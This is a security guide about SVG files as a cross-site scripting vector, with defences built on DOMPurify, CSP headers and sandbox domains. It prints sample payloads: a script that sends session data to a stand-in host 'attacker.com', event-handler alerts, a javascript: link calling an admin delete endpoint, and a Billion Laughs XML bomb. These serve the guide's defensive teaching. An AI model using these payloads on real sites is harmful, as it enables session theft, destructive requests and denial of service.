SVG Security & XSS Sanitization Guide in 2026
Why SVGs are an XML attack vector, how attackers exploit stored XSS via vector uploads, and the production DOMPurify & CSP pipelines needed to secure them.
TL;DR — Securing SVG in 2026
Never trust user-supplied SVG strings: SVGs are full XML documents capable of executing arbitrary JavaScript. Always sanitize incoming markup using DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true } }) on both client and server. For user profile avatars and file attachments, serve SVGs from a dedicated isolated sandbox domain (e.g. usercontent.domain.com) with Content-Security-Policy: script-src 'none'.
Why SVGs are High-Risk Attack Vectors
Many developers treat SVG files as simple images like PNGs or JPEGs. In reality, the W3C SVG specification is an XML-based markup format with a full Document Object Model (DOM), CSS styling capabilities, and embedded JavaScript runtime support.
When a web application allows users to upload custom icons, company logos, or avatars as SVGs, rendering those SVGs inline without rigorous sanitization gives the attacker full Cross-Site Scripting (XSS) access to the victim's session cookies, authentication tokens, and private API endpoints.
The 5 Major SVG Attack Vectors
1. Embedded <script> Tags
The most straightforward vector: embedding standard script payloads inside the XML hierarchy:
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<circle cx="50" cy="50" r="40" fill="red"/>
<script type="text/javascript">
fetch('/api/user/session').then(r => r.json()).then(data => {
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(JSON.stringify(data));
});
</script>
</svg>
2. Inline Event Handlers (onload, onerror)
Even if an application's naive regex strips <script> tags, inline event handlers on standard vector elements execute seamlessly upon rendering:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="x" onerror="alert(document.domain)" />
<svg onload="alert(document.cookie)"></svg>
</svg>
3. <foreignObject> HTML Embeds
The <foreignObject> element allows arbitrary XHTML markup (forms, iframes, and input fields) to be nested inside an SVG canvas, opening doors to credential phishing and clickjacking overlays within a seemingly innocent icon.
4. JavaScript Pseudo-Protocols in href / xlink:href
Clickable links embedded inside SVG vectors can trigger execution via the javascript: protocol:
<svg xmlns="http://www.w3.org/2000/svg">
<a href="javascript:fetch('/api/admin/delete')">
<rect width="100" height="100" fill="blue"/>
</a>
</svg>
5. XML Entity Expansion (Billion Laughs / XML Bomb)
Unsanitized XML parsers on backend servers (Node.js, Python, Ruby, PHP) can be crashed by recursive entity declarations, resulting in Denial of Service (DoS):
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<svg><text>&lol2;</text></svg>
The Production Defense Architecture
1. DOMPurify SVG Profile Configuration
Never write custom regex to parse SVGs. Use the battle-tested DOMPurify library with strict SVG profiles:
import DOMPurify from 'dompurify';
export function sanitizeSvgIcon(dirtySvgMarkup: string): string {
return DOMPurify.sanitize(dirtySvgMarkup, {
USE_PROFILES: { svg: true, svgFilters: true },
FORBID_TAGS: ['script', 'foreignObject', 'iframe'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
RETURN_TRUSTED_TYPE: false
});
}
2. Content Security Policy (CSP) Headers for Static SVGs
When serving user-uploaded SVGs directly from Amazon S3, Google Cloud Storage, or your web server, enforce strict response headers:
# HTTP Response Headers for /uploads/*.svg
Content-Type: image/svg+xml
Content-Security-Policy: default-src 'none'; script-src 'none'; style-src 'self' 'unsafe-inline';
X-Content-Type-Options: nosniff
Cross-Origin-Resource-Policy: cross-origin
The script-src 'none' directive guarantees that even if a malicious script slips past a validator, modern browsers will refuse to execute it if opened in a new tab.
3. Isolate on a Sandbox Subdomain
Host all user-uploaded SVG avatars on an unauthenticated cookie-less domain (e.g. https://user-assets-example.com). Even in the event of an XSS execution, the script runs in an isolated origin with zero access to your primary app's authentication tokens.
Safe Rendering in React / Next.js / Vue
If you must render dynamic SVG strings into a React DOM, wrap the sanitization in a memoized component:
import React, { useMemo } from 'react';
import DOMPurify from 'isomorphic-dompurify';
interface SafeIconProps {
svgMarkup: string;
className?: string;
}
export const SafeIcon: React.FC<SafeIconProps> = ({ svgMarkup, className }) => {
const cleanMarkup = useMemo(() => {
return DOMPurify.sanitize(svgMarkup, {
USE_PROFILES: { svg: true },
FORBID_TAGS: ['script', 'foreignObject']
});
}, [svgMarkup]);
return (
<span
className={className}
dangerouslySetInnerHTML={{ __html: cleanMarkup }}
aria-hidden="true"
/>
);
};
Frequently Asked Questions
Yes. Every single icon in IconStash's 134,701 catalog is sourced from vetted, open-source repositories and sanitized through automated build-time linters that strip all scripts, tracking beacons, and invalid XML entities.
No. SVGO is an optimization and minification tool, not a security sanitizer. While certain SVGO plugins remove <script> tags, it does not reliably catch nested polymorphic XSS vectors. Always use DOMPurify for security sanitization.